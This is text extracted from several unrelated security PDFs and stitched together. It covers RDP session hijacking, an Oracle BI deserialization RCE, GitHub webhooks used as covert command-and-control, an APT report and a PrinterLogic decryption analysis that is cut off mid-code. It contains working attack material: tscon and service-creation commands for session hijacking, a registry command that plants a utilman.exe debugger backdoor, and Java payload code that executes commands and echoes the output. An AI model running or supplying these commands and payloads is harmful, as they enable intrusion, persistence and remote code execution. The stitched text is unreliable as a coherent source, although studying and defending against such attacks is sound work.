注:您必须拥有完全控制访问权限或连接特别访问权限才能连接到另一个会话。 完全控制访问权限是什么?System用户的权限 在任务管理器中用户一栏中也能够切换会话到另一个用户,输入密码即可成功切换: 虽然显示相同两个用户名,不是同一个用户,一个是本地用户,一个是域用户 简单说下 tscon 命令的一些重点: 如果当前用户是管理员用户(High 完整性),指定密码即可成功切换: tscon 2 /password:Admin12345 如果当用户是 System 用户,无需指定密码就能切换到其他用户: tscon 2 /dest:console 如果当前用户是 标准用户 ,则无法使用 tscon 切换到其他用户(其他标准用户和管理员用户) 我这样描述应该对所谓的”有完全控制权限“有了理解。实际测试中更多的以RDP为主,下面的演示都是 基于RDP。 RDP Hijacking 的一些条件: Hijacking 的目标用户 是状态 断开连接(直接RDP输入断开连接,注销之后不会看到断开连接) Hijacking 的目标用户 需要本身就可以RDP(如果目标用户无法RDP则劫持失败) 那么怎样才能RDP?这里请教了很久, 可能和系统版本有关,Windows Server 2008 R2 测试成功,在Windows 10 测试失败,具体失败 情况为 :成功切换了 Session ,但是需要密码 以上条件之间是 and 关系 实现RDP Hijacking 的几种方式: 系统权限的 tscon 使用管理员账户新建服务 mimikatz Powershell PsExec.exe -accepteula -s cmd  #注意Event 4697、Event 7045、Event 4624和Event 4652 日志 #将权限提升至 System query user tscon 1 /dest:rdp-tcp#0 query user sc create hijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#1" #记得修改 id 和dest net start hijack sc delete hijack #用完记得删除服务 #privilege::debug token::elevate ts::sessions #显示当前的绘画和 ts::remote /id 2 #类似tscon 劫持RDP 切换到其他会话 #另外一些命令 ts::multirdp #运行多个用户使用rdp的补丁 New-Service -Name "hijack" -BinaryPathName "cmd.exe /k tscon 1 /dest:rdp-tcp#0" Start-Service hijack #如果 Powershell version ≧ 6.0 Remove-Service -Name hijack #否则可以使用 GET-wmiobject Get-WmiObject -Class Win32_Service -Filter "Name='hijack'" |Remove-WmiObject OR (Get-WmiObject -Class Win32_Service -Filter "Name='hijack'").delete() #或者使用CIM cmdlets 计划任务 粘滞键等后门 参考:渗透技巧——利用tscon实现未授权登录远程桌面 这种方法借助"辅助工具管理器"的 Debugger (Win+U 可触发,点击左下角的图标也可以触发),获取到 System 权限的cmd 之后,直接使用 tscon id 可免密登录。 这里仅演示了 utilman.exe ,其他均类似,主要的目的是为了得到 System 权限的cmd 相关日志 无图,笔者的在非域控上的winlogbeat 日志收集出现了问题,暂时未解决。 搜索 tscon* ,参数 "CommandLine"中包含切换Sesssion 的命令,且用户身份为“System" 关注:event id 为 4778(Session 重新连接)和 4779 (Session 断开) 事件。 schtasks /Create /TN hijack /SC DAILY /ST 18:16 /TR "cmd.exe /k tscon 2 /dest:rdp-tcp#0"/RU SYSTEM #注意时间 schtasks /Query /TN hijack schtasks /Delete /TN hijack  /F #删除计划任务 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
pdf
环境搭建 安装Oracle19c,安装的时候这里要选AL32UTF8 接下来会卡在42%,多等一会就好了。 安装fmw_12.2.1.3.0_infrastructure.jar 下一步下一步就行 然后安装bi fmw_12.2.1.4.0_bi_windows64_Disk1 下一步下一步就行了 然后运行rcu.bat 创建完bi所用的数据库之后运行C:\Oracle\Middleware\Oracle_Home\bi\bin\config.cmd配置bi 然后就安装完成了。 分析 修改C:\Oracle\Middleware\Oracle_Home\user_projects\domains\bi\bin\setDomainEnv.cmd 338行 然后重启Oracle BI的服务,会在8453端口监听debug 在 C:\Oracle\Middleware\Oracle_Home\user_projects\domains\bi\servers\AdminServer\tmp_WL_use r\em\fw8wi5\war\WEB-INF\web.xml中 em对应Oracle BI的http://172.16.16.132:9500/em/ 管理界面 set local_debug=true web.xml中定义了几个映射关系 在org.apache.myfaces.trinidad.webapp.ResourceServlet#doGet中 根据request获取对应的ResourceLoader和resourcePath _getResourceLoader维护了一个ConcurrentMap存放servletPath和loader的映射关系。 在oracle.adfinternal.view.resource.rich.RenderKitResourceLoader中向map中注册了对应关系 当路由为/em/afr/foo/remote/payload时,会由 RemoteApplicationResourceLoader 作为doGet中的 loader,调用其 oracle.adfinternal.view.resource.rich.RemoteApplicationResourceLoader#findResource函数 返回了一个自定义的协议remote和协议处理器RAStreamHandler RAStreamHandler的openConnection返回一个RAURLConnection实例对象,在其构造函数中 调用_getPathBean 截取到第一个 / 然后进入 oracle.adfinternal.view.rich.remote.resources.URLEncoderPathBean#getInstanceFromStr ing 不断跟进之后就是readObject 说明我们可以通过/em/afr/foo/remote/{encode payload}/的形式来反序列化。 gadget可以用CVE-2020-14644,这里放payload。 回显执行命令 package com.tangosol.internal.util.invoke.lambda; import com.tangosol.internal.util.invoke.AbstractRemotable; public class LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A extends AbstractRemotable {    public LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A() {        try {            weblogic.work.WorkAdapter adapter = ((weblogic.work.ExecuteThread) Thread.currentThread()).getCurrentWork();            java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");            field.setAccessible(true);            Object obj = field.get(adapter);            weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);            weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) obj.getClass().getMethod("getServletResponse").invoke(obj);            String cmd = req.getHeader("cmd");            if (cmd != null && !cmd.isEmpty()) { 生成payload 回显复现截图 http://172.16.16.132:9500/em/afr/foo/remote/                Process exec;                if (System.getProperty("os.name").toLowerCase().contains("win")) {                    exec = Runtime.getRuntime().exec(new String[]{"cmd", "/c", cmd});               } else {                    exec = Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd});               }                res.getServletOutputStream().clearBuffer();                res.getServletOutputStream().writeStream(exec.getInputStream());                res.getServletOutputStream().flush();                res.getServletOutputStream().close();                res.flushBuffer();           }       } catch (Exception var1) {            var1.printStackTrace();       }   } } package com.example.miracle; import com.tangosol.internal.util.invoke.ClassDefinition; import com.tangosol.internal.util.invoke.ClassIdentity; import com.tangosol.internal.util.invoke.RemoteConstructor; import com.tangosol.internal.util.invoke.lambda.LambdaIdentity; import oracle.adf.view.rich.util.SerializationUtils; import java.nio.file.Files; import java.nio.file.Paths; public class Main {    public static void main(String[] args) throws Exception {        RemoteConstructor remoteConstructor = new RemoteConstructor(                new ClassDefinition(new ClassIdentity(LambdaIdentity.class), Files.readAllBytes(Paths.get("E:\\tools\\code\\Miracle\\target\\classes\\com\\ta ngosol\\internal\\util\\invoke\\lambda\\LambdaIdentity$E12ECA49F06D0401A9D406B2D CC7463A.class"))), new Object[]{}       );        String s = SerializationUtils.toURLEncodedString(remoteConstructor);        System.out.println(s);   } } http://172.16.16.132:9502/bicomposer/afr/foo/remote/ 10.3.6 peterjson和jang在10.3.6上用的是ReflectionExtractor包RemoteInvocation的套娃然后调用 ShellSession.eval来rce,记录一下,不做深入了,就是几个cve的综合使用。 坑 打poc时需要注意回显类的类名需要和目标版本对的上才行,具体看kingkk师傅的《CVE-2020-14644分 析与gadget的一些思考》 也就是在这个地方 com.tangosol.internal.util.invoke.ClassIdentity#ClassIdentity(java.lang.Class<?>) 参考 1. https://peterjson.medium.com/miracle-one-vulnerability-to-rule-them-all-c3aed9edeea2 2. https://testbnull.medium.com/oracle-access-manager-pre-auth-rce-cve-2021-35587-analysis- 1302a4542316 文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
pdf
Abusing Web Hooks For Command And Control Dimitry Snezhkov @Op_nomad X-Force Red IBM Corporation What we are going to talk about Subject: Safe(er) bidirectional delivery of content and communication across network boundaries with the use of WebHook technology. From: - Hostile networks - Monitored networks - Censored networks - Restricted networks To: - External Hosts under your control. (C&C servers) Purpose: - External Content Retrieval - Internal Content Exfiltration - Shell Execution on External and Internal Hosts Audience Offense • Red Teamers • Pen Testers Defense • DF/IR folks • Sysadmins • Developers • Privacy Advocates • Anyone interested in covert communication Dimitry Snezhkov X-Force Red , IBM Corporation “Opinions expressed are solely my own and do not express the views or opinions of my employer or it’s products.” What I do: - Offensive Testing - Code Hacking - Tool Hacking - Other security work Watson> Are you sure?.. About Meet Defense at their map of the world. • Seek alternative means of effective outbound communication through content proxies. • Maximize adaptive retooling capability for exfiltration. • Minimize discoverability of outbound communication in environments • Use opportunities in targeted environment to overcome restrictions. Context: Strategic Goals • Achieve asynchronous or realtime-asynchronous communication between hostile network and external server under your control. • Attempt to achieve reverse connectivity to hostile networks from external server under your control • Avoid existing detection mechanisms, elevating OpSec capability. • Attempt to avoid censorship in communicating to safe external server under your control. Context: Tactical Goals Technical Mechanisms • Discover HTTP WebHooks concept. • Use WebHooks to Achieve asynchronous unidirectional or bi-directional connectivity with external world. • Develop a tool to shuttle communication over WebHooks. Set The Stage: Players • Offense (RED) • Defense(BLUE) • Content Proxy • Command and Control Server (C&C or C2) • C2 Broker • Internal Agent, Client • External Agent, Server A game of 6 blind blue men and the red elephant The Problem Communication from restricted networks can be challenging. - What is this unknown I am seeing - How blind is it - How can I better restrict it - How to detect its capabilities without revealing my mechanisms The Problem: Blue Perspective • Wait until unknown moves • Place a monitor and watch. Passive and works for us… - What is this environment. How can I quickly/safely learn more. - What can they do to me, How many defenses are there, How many more will I see if I move - How blind are they really. - Where are sensors. How many attempts. What timeouts? - The Problem: Red Perspective Wish: If I don’t move maybe they will go away … Reality: Have to move to figure out. The Elephant has to move… • Unsafe negative outcome • Safe negative outcome • Safe positive outcome 0:0 First move may kill For the Elephant Know the feeling? Unsafe Negative Outcome Safe Negative Outcome Red: My probes tell me I can classify this environment as HOSTILE: - IDS sensor - ICMP/DNS Tunneling prohibited - Tight Content proxy - Looks like I cannot reach drives, - No domain fronting. - If I move with brute force I will crash. Panic now? But I am still ALIVE! Blue: My sensors tell me I can classify the unknown as SAFE, we are friends. Opinions: - it’s an approved tool - It’s a safe protocol - It’s an approved port - It’s an allowed site - It’s a safe traffic, - It’s a known x,y,z…. My Mechanisms Check out: • I have a draconian content proxy, • I have a whitelist. • I inspect traffic for “known bad” Safe Positive Outcome X The map is not the territory! Both built a static map of the world based on previous assumptions and odds. Both CLASSIFIED the odds. No map is ever completely true • May have uses only “known” methods for classification • May be overly paranoid of each other’s capability. • May be dismissive of each other’s capability. Red needs to: • Consistently break its static map of the world. Adapt. • Meet Blue at their map of the world. Pace and lead them. The map is not the territory! mim·ic·ry /`miməkrē/ BIOLOGY the close external resemblance of an animal or plant (or part of one) to another animal, plant, or inanimate object. Safe Positive Outcome: On The Path to Mimicry Levels of Mimicry for Red. • Blue known and approved Business Need/Role/Process • Blue approved Traffic/Protocol • Blue “good” Tools and “valid” Rules On The Path to Mimicry: Developers Blue: Trust Detection Mechanisms • I have a draconian content proxy, • I have a whitelist. • I inspect traffic for “known bad” Recall: Pace: Mimic and Follow the Developer. Pace: Code Red tools in the shadow of the Developer process/tools/protocols/ Pace: Hide in plain sight, in the shadow of Developer routine. Lead: Make Blue believe you are “known good”. I believe my Developer -> I see you act as one -> I believe you.. Strategic Goals Revisited Meet Defense at their map of the world. WebHooks for the Red Elephants • A new technology for Asynchronous Web responses • Built for notification services. • Bound to make it’s way into the enterprise • Easy to implement. • Low maintenance. • Collaborative and Social Coding friendly. • Operates over HTTP. • All security mechanisms apply (TLS) Server Request / Response polling loop 1. We submit a request for processing to the Web server. 2. Server begins executing our request. 3… Client keeps polling Webserver for response. “Are we there yet?” - No. 5 request No! 50 requests No!! 500 requests - STOP Asking!!!! Server gets annoyed. Context switches, Resources 4. When the server has the result client grabs it. Client is happy, Server is a bit more relaxed , until next time. WebHooks. Response Subscription STOP Asking!!!! I could just tell the client when I am done. 0. Client provides a URL for response (a hook) to the server. 1. Client submits a request for processing to the server. 2. Server begins executing client request. Client sleeps. 3. When the server has the result it notifies the client by sending the response back 4. Client wakes up and processes the response. Client is happy. Server is happy. We communicate ASYNCHRONOUSLY WebHooks in Action • A link to the Client’s resource recorded on the Server. http://client/action/method • Client LISTENs for events or a port Client.listen(“X.X.X.X”, 8080) Server POSTS the response to the link when it’s ready. Who uses WebHooks? • Continuous Integration (CI) services (e.g Heroku) • Code management repos (GitHub, etc.) • Team Communication services (Slack, etc.) • Notifications and Alerting (e.g. DataDog, PagerDuty, etc.) Everyone else … Safe Negative Outcome Revisited Your direct connection C2 site is not ranked, sorry Red: My probes tell me I can classify this environment as HOSTILE: - IDS sensor - ICMP/DNS Tunneling prohibited Tight Content proxy - Looks like I cannot reach drives, - No domain fronting. - If I move with brute force I will crash. C2 Broker • Find a policy allowed site to communicate with. • Turn it into a content broker (C2 Broker) with WebHooks. • Drive data and communication over the broker site to C2 What If: Meet the Defense at their map of the world. C2 Broker Site Operation Poll result Request Notify Execute and Respond Store Store Proxy • Needs to be public • Needs to have a decent set of Web hook APIs (flexibility). • Needs to allow you to blend into the traffic. • Needs to be allowed, look normal (traffic expected by the business function). It needs to be on the “VIP list” with the content proxies C2 Broker Features Desirable Traits Who uses WebHooks? Follow the Developer • Continuous Integration (CI) services (e.g Heroku) • Code management repos (GitHub, etc.) • Team Communication services (Slack, etc.) • Notifications and Alerting (e.g. DataDog, PagerDuty, etc.) Everyone else … GitHub.com • Extensively used and Popular. Advantage • Developer friendly. Full featured WebHook API. Advantage • [Mostly] allowed. Advantage • OpSec features. TLS, tokens, HMAC on request. HTTP. Advantage • Developers drive internal adoption. Advantage GitHub as C2 Broker Site OctoHook – a GitHub C2 Broker Toolkit • Register OctoHook Server Webhook w/Github • Use OctoHook Client to send request to the OctoHook Server over Github (Store and forward) • Github site will drive the WebHook to Octohook Server. • The WebHook will reach to your C2 OctoHook Server and execute a command on your C2 server. • The C2 will store response of you command on Github. • You will fetch the response locally from Gihub site to your OctoHook Client Octohook: Github WebHook setup GitHub WebHook events Github Webhook: OpSec Github is trying to make communication secure. Use it to your advantage HMAC Certificate Octohook Agent Request Delivery Mechanisms • Every client is an Agent. - Unique Identifier. • Command Delivery • Over Git issues • Straight YAML/JSON • Templates • Initial Logon: • Git app tokens Octohook Agent Response Delivery Mechanisms • Issue states: Client opens. Server closes • Responses over Comments to Issues. • Large responses are split across multiple comments, reassembled by client. Octohook Content Response Delivery Mechanisms • Over Git uploads per agent directory • Issue states and status updated over issue comments Scenario: Need tools infiltrated. Github Server Request / Response polling loop Client C2 Server Avoid asking “Are we there Yet?” • Throttling (Github and Octohook) • Manual polling command results • Inconvenient. Asynchronous but not real time Can we Improve? Octohook: Bidirectional Asynchronous Comms Before: A Poll from client (OK) We can make it asynch broadcast (Better) Client C2 server Github Octohook: Multi-hook C2 Broker GitHub Octohook Swarm. • IPs. • Ports • Resources Github allows up to 20 Web Hooks. Octohook: Roles Web Role (Parallel) Command Role (Exclusive) Client Side Client Side Server Side Server Side Octohook: Roles Client Server Demo 1.Asynchronous Command Execution. Polling 2.Asynchronous Bidirectional Command Response Delivery 3.Asynchronous Content Delivery 4.Auxiliary Features Octohook C2 Broker Now • Cross-Platform (Command Role only for now) • Real time/Asynchronous notification • On demand response monitoring (Git Issue polling) • Execute on server, find content and upload to GitHub for retrieval • Single process embedded command server, and the web server • Extensible with command plugins. • Request throttling aware. • Can be coded for exfiltration. • Can be coded for infiltration Octohook C2 Broker What’s Next • Broadcast across all agents. Swarming capability. • Send commands/receive commands from specific agents. • Role (re-)assignment. • Request to specific Agent • Simultaneous execution on multiple agents. • Flip C2 direction (e.g. to the inside). Defense and Mitigation WebHooks are here to stay. GitHub proxy is just one example. • Behavioral rules are best to see what is “normal” for your org. • Allow specific developer workstations access to Github. • Take a hard look of who and why is using GitHub in your org. Chances are Github is probably used everywhere in your org. • Allow access to only specific Repo paths if possible. Riding the Social coding and collaboration wave will most likely continue. • Survey what public cloud portals with webhooks are being used internally. Slack, CI tools, Video and Meeting software. Thank you! Code: https://github.com/dsnezhkov/octohook Questions? Follow updates / Stay in touch @Op_nomad
pdf
Dec 2017 Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. Yoshihiro Ishikawa Open%Source%as%fuel%of%recent%APT Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. Who%am%i?% • Organization:*LAC* • Department:*Cyber*Counter*Threat*Team* • Job*Title:*Security*Researcher* CISSP yoshihiro.ishikawa[at]lac.co.jp Yoshihiro*Ishikawa* 2 Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. Agenda n  Purpose* n  Open*Source*Malware*Targeting*MacOS* n  PowerShell*Empire*improperly*used* n  Prevention*method* n  Conclusion* 3 Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. Purpose PowerSploit** Tiny*SHell n  Recently,*there*are*so*many*APT*attacks* fueled*by*the*usage*of*the*open%source%tools% and%malware.* n  Why?* n  Actors*performing*attacks*using%open%source%tools% are*becoming*more%easy%and%more%resourceful.* n  Actors*are likely*anonymize*their*attacks.* n  Actors*usually*modified*their*attack*code*and* created%a%new%customized%malware*easily.* Koadic QuasarRAT mimikatz* Trochilus Pupy* 4 Nishang* Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. Purpose:%APT%groups%with%Open%Source%Tools n  APT10*(menuPass):*PowerSploit,*Koadic,*QuasarRAT,*Redleaves(Trochilus)* n  Public,*Technology,*Energy*sectors,*etc*(USA,*Canada,*UK,*France,*South*Korea,*Japan,*etc)[1]* n  Cloudy*Omega*(Blue*Termite):*mimikatz* n  Some*companies,*no*specific*trends*(Japan)* n  Tick*(BRONZE*BUTLER):*mimikatz* n  Critical*Infrastructure*and*manufacture*(South*Korea*and*Japan)* n  PassCV/BARIUM*(Winnti?)[2][3]:*Metasploit,*BeFF* n  Game*makers*(USA,*China,*Russia,*South*Korea,*Taiwan*and*Japan)* n  Unsure*Group*(APT10):*PowerShell*Empire* n  Political*and*academic*sectors*(Japan)* In*this*presentation,*I*will*introduce*PassCV*and* Unsure%Group’s%TTPs*confirmed*in*Japan*in*2017* 5 CYBER - EDUCATION - PENTEST - JSOC -  119 - CONSULTING We provide IT total solutions based on advanced security technologies. Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. Open Source Malware Targeting MacOS Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. Open%source%malware%variant%using%Tiny%SHell n  Identification*(I*picked*only*one*case)* n  Hash:*0161317c5f4fb3901df63c6e88f60933* n  Type:*Mach-O*64-bit*Executable* n  Lang:*C* n  Characteristic:* n  Developed*with*Xcode*on*MacOSX*Sierra(10.12)* n  Tiny%SHell*original%source*code*was*used* n  No*code*signing* File%information Characteristic%String 7 Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. What%about%Tiny%SHell Tiny%SHell*is*an*open%source%backdoor* that*compiles*on*all*POSIX*variants[4][5] n  Functions* n  Remote*Shell*Execution* n  File*Upload* n  File*Download* n  C2*Communication* n  Protocol:*TCP* n  Port:*22*(default)* n  Encryption:*AES* n  Default*key*is*"never*say*never* say*die"* Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. Comparison%of%similarities to*call*AES*encryption Tiny%SHell Malicious%variant%using%Tiny%SHell We*can*confirm*that** these%codes%are%ALMOST%identical.* AES*Key*=*“free&2015”* to*call*backdoor*functions* 9 Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. Functions%only%in%Tiny%SHell%variants 1.%The%malware%configuration/setting%file Case%root%(Privilege%user) n  For*setting*information*used*by*malware,*it*was*saved*as*a*“.%cache”*file.*This*“.cache”*file* is*read*from*different*PATH*according*to*authority.* n  C2*information*written*in*the*".cache"*file*is*encrypted*and*malware*decrypts*the*string* using*the*XOR*decoder*function*described*in*part*"2.%Decryption%function".* 10 .cache*file*loading*function Case%root%(Privilege%user) Case%user C2%Domain Port Sleep%Time Forged%Process .cache%file Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. 2.%Decryption%Function XOR*decrypt*the*contents*of*.cache*or*hard-coded*strings*in*malware. Our%Decrypting%Script%in%python% Decrypted%String Functions%only%in%Tiny%SHell%variants 11 Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. 3.%Anti-analysis%function%and%malicious%environment%setup n  A*function*to*check*whether*“tcpdump”*is*running*on*the*computer.* n  Shell*and*MySQL*command*without*history*enabled*setting.* Functions%only%in%Tiny%SHell%variants 12 Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. 4.%Create%rootkit%and%be%called%from%it n  A*rootkit*(“rsakit”)*is*created*after%connected*to*C2*server*and*receiving*response.* n  This*rootkit*is*also*using*an*open%source%tool*variant*of*rtkit*code.[6]* n  Rootkit*functionality:*to%hide%own%process%or%arbitrary%process.* rootkit*(rsakit)* variant*Tiny*SHell Functions%only%in%Tiny%SHell%variants%in%Linux 13 Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. Malware%connection%and%related%elements% IP*address*associated*with*the*C2*server* domain*of*malware*is*“61.78.62%[.]%21” This*IP*was*used* “war[.]geekgalaxy[.]com” This*domain*related*“PassCV”[7] Next*attention*to*other*IP*address* “106.184.5[.]252”[8]* iisexit[at]gmail.com% 61.78.62.xxx* 106.184.5.xxx job[.]yoyakuweb[.]technology% resume[.]immigrantlol[.]com Related*element* 14 Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. How%used%for%attacking% job[.]yoyakuweb[.]technology* User-Agent% Check% resume[.]immigrantlol[.]com* info.zip* Resume.app* Beef*C2* Case%Mac% info.zip* Info.doc* Case%Windows% appaffect[.]com* Cobalt%Strike[10]* vps2java[.]securitytactics[.]com* Metasploit% Framework[9]* xxxx.zip* Info.chm*/*Stefan_Info.doc……exe Other*C2* Beginning%is%spear%phishing%e-mail% 15 Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. Case%Windows:%using%CVE-2017-0199%exploit% CVE-2017-0199* exploit decoy*file*of*the*resume*is*opened,* and*malicious*script*download Base64*+*gzip Next*Payload* download 16 Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. This*code*is*using*exec-sc.ps1*of** Don't%Kill%My%Cat%(DKMC)[11] (too*long,*redacted)* Base64* This*code*is*Metasploit*shellcode This*combination*used*attack** Cobalt%Strike%called%"Beacon" Decoded%Script Case%Windows:%using%CVE-2017-0199%exploit% 17 Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. Case%Windows:%others%attacking%types Download*next* downloader Case%chm%(in%2014) Case%exe%(in%2016) .chm*file*contain*in*malicious*script extract* execute* drop&* execute* Cobalt*Strike*Beacon* Payload*execute** decoy*file*is*opened*and*exe*file*execute** 18 Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. Case%Mac:%using%malicious%jar%file Info.zip Info.plist JavaAppLauncher Application*Bundle Functions:*Read*and*execute*bundled*Resume.jar% This*application*is*not%malicious.** It*was*similar*to*AppBundler*code.[12]* codesign 19 Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. config decompile decoy*file Resume.jar read*config*(Flash.dat)*and*connect*to*C2 save*and*display*decoy*file Case%Mac:%using%malicious%jar%file 20 Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. Flash.dat%(config) C2%Domain Flag Port Sleep%Time This*file*content*encrypt** 10-bytes*XOR*key vps2java[.]securitytactics.com This*packet*is*using* Meterpreter.% It*seems*that*Metasploit* Framework*was*running*on*the* C2*server.* * Case%Mac:%using%malicious%jar%file 21 Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. Attack%is%ongoing%? This*IP*is*PassCV*Infrastructures Is%new%spear%phishing%e-mail%attack%launching?% “eggagent[.]info”*used*“106.184.5[.]252”* *and*now*used*“139.162.95[.]39”* It*might*be*new*attack*Infrastructure *(PassiveTotal)[13] (DomainTools)[14] 22 A*resume*is*displayed*when* accessing*the*domain CYBER - EDUCATION - PENTEST - JSOC -  119 - CONSULTING We provide IT total solutions based on advanced security technologies. Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. PowerShell Empire improperly used Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. What%about%PowerShell%Empire PowerShell%Empire[15] Running%% PowerShell%Empire 24 PowerShell*Empire*is*a*post-exploitation* framework*and*it*is*mainly*using*in*a* penetration*test*and*Red*Team*Assessment. Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. PowerShell%Empire:%Infection%vector Specific*University* Organization* The*contents*of*the*Zip*file*are* suspicious*LNK*files*and*RTF*files* spear*phishing*e-mail* access*to*URL*and*Zip* File*Download* Zip*file* specified*account* has*been*hackd* [16] 25 Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. LNK/RTF%file%detail%of%1st%payload LNK% RTF% Call*PowerShell*using* Script*in*the*HTA*file* This*communication*is*443/ TCP*but,*HTTP*is*used* instead*of*HTTPS* RTF*file*with** CVE-2017-0199** exploit LNK*file*will*execute** MSHTA.exe 26 Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. HTA%file%detail%of%2nd%payload%(case%of%LNK) This%code%is% PowerShell%Empire% Base64* Response%data%(HTA%file) Display*Decoy* Web*Pages* 27 Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. Persistence%methods%with%PowerShell%Empire This*string*Base64*decoded* result*is*Empire%script* Task%scheduler Please*check* the*“debug”* registry*value* Task*Program** to*lunch** PowerShell 28 Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. Malware%connection%and%related%elements% Both*companies*provide*Web* Hosting*service* We%can%see%“HTTP/1.0”%and% “Microsoft-IIS/7.5”%in%the% HTTP%response%header This*combination*used* Empire%C2%Server% %(listeners/http.py).* It*was*running*as*of*checked* on*late*August*2017.% 27 Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. Prevention%method n  Plenty*of*initial*attack*vectors*are*Spear%Phishing%E-mail.* n  Keep*up-to-date*with*latest*systems,*software*and*used*security*products* n  Educate*employees*on*potential*security*threats*&*not*opening*unknown*email* n  Have*a*special*care*for*recent%exploit%vectors(DDE,%XLL*Add-Ins,*etc)% which*are*having*very*potential*usage*to*be*used*in*attack.* n  Disabling*DDE,*XLL*Add-Ins*with*Microsoft*Office*settings*etc.*[17]** n  PowerShell,*HTA,*CHM*are*often*used*in*this*series*or*similar*threats.* n  Blocking*PowerShell,*HTA*and*CHM*with*AppLocker*or*SRP*etc[18][19]** n  Repeatedly*use*similar%attack%methods*and*use*almost*same* infrastructure.* n  Utilize*Threat*Intelligence*tools* 30 Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. Conclusion n  Recent*APT*attacks*are*heavily*using*open*source*tool* and*has*the*increasing*tendension*to*modify*the* original*source*code,*so*that*they*can*correspond*to* various%platforms.* n  The*past*evidence*shows*us*that*the*attacks*are* continuing*and*still*ongoing%too%now.% n  For%the%information%sharing%with%OPSEC%on%a%global% scale,%you%are%more%than%welcome%to%contact%us%!% 31 CYBER - EDUCATION - PENTEST - JSOC -  119 - CONSULTING We provide IT total solutions based on advanced security technologies. Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. Thank you. Any Questions ? Copyright*©LAC*Co.,*Ltd.*All*Rights*Reserved. 1.  https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf* 2.  https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies* 3.  https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with- windows-defender-atp/* 4.  https://packetstormsecurity.com/files/31650/tsh-0.6.tgz.html* 5.  https://github.com/creaktive/tsh* 6.  https://github.com/ivyl/rootkit* 7.  https://www.bluecoat.com/zh-cn/security-blog/2014-07-21/korean-gaming-industry-still-under-fire* 8.  https://www.protectwise.com/post/winnti-evolution-going-open-source/* 9.  https://www.metasploit.com/* 10.  https://www.cobaltstrike.com/* 11.  https://github.com/Mr-Un1k0d3r/DKMC* 12.  https://bitbucket.org/infinitekind/appbundler* 13.  https://community.riskiq.com/* 14.  https://www.domaintools.com/* 15.  https://www.powershellempire.com/* 16.  https://www.jcer.or.jp/center/f.relationship_jp-us.html* 17.  https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/* 18.  https://www.iij.ad.jp/en/company/development/iir/pdf/iir_vol32_infra_EN.pdf* 19.  https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/increased-use-of-powershell-in- attacks-16-en.pdf* Reference 33
pdf
author:Y4er 前言 看到推特上有人发 PrinterLogic Web Stack unserialize RCE,但是poc打码了,所以自己下了一个 分析一下。 这玩意是个打印机,开放了一个基于iis/php/laravel的web,而且php源码是加密的,本文就对其 进行解密并分析漏洞。 解密源码 打开php文件看到文件是加密的 找到php的安装路径 C:\Program Files (x86)\PHP\7.3.28.0 ,查看php.ini的配置 用到了一个php_decoder.dll,直接拖入ida中。经过分析导入表中引入zend_compile_file,多是处 理加密解密的重写。 跟进到sub_100011D0 确认解密逻辑位于sub_10001000函数中,伪代码如下 int __cdecl sub_10001000(int a1, int a2) { int v2; // edi@1 int result; // eax@4 int v4; // eax@8 unsigned int v5; // edx@8 int v6; // ebx@8 char v7; // cl@10 char v8; // al@10 unsigned int v9; // ebp@14 unsigned int v10; // eax@14 int v11; // ebx@14 unsigned int v12; // ecx@14 int v13; // eax@18 int v14; // edx@21 int v15; // ebx@21 int v16; // esi@21 int v17; // ecx@22 int v18; // ST04_4@24 int v19; // eax@24 int v20; // esi@24 unsigned int v21; // [sp+4h] [bp-8h]@3 int v22; // [sp+8h] [bp-4h]@14 v2 = a1; if ( a1 && *(_DWORD *)(a1 + 44) && zend_stream_fixup(a1, &a1, &v21) != -1 && *(_DWORD *)(v2 + 52) == 4 && *(_DWORD *)v2 && *(_DWORD *)(v2 + 20) ) { v4 = 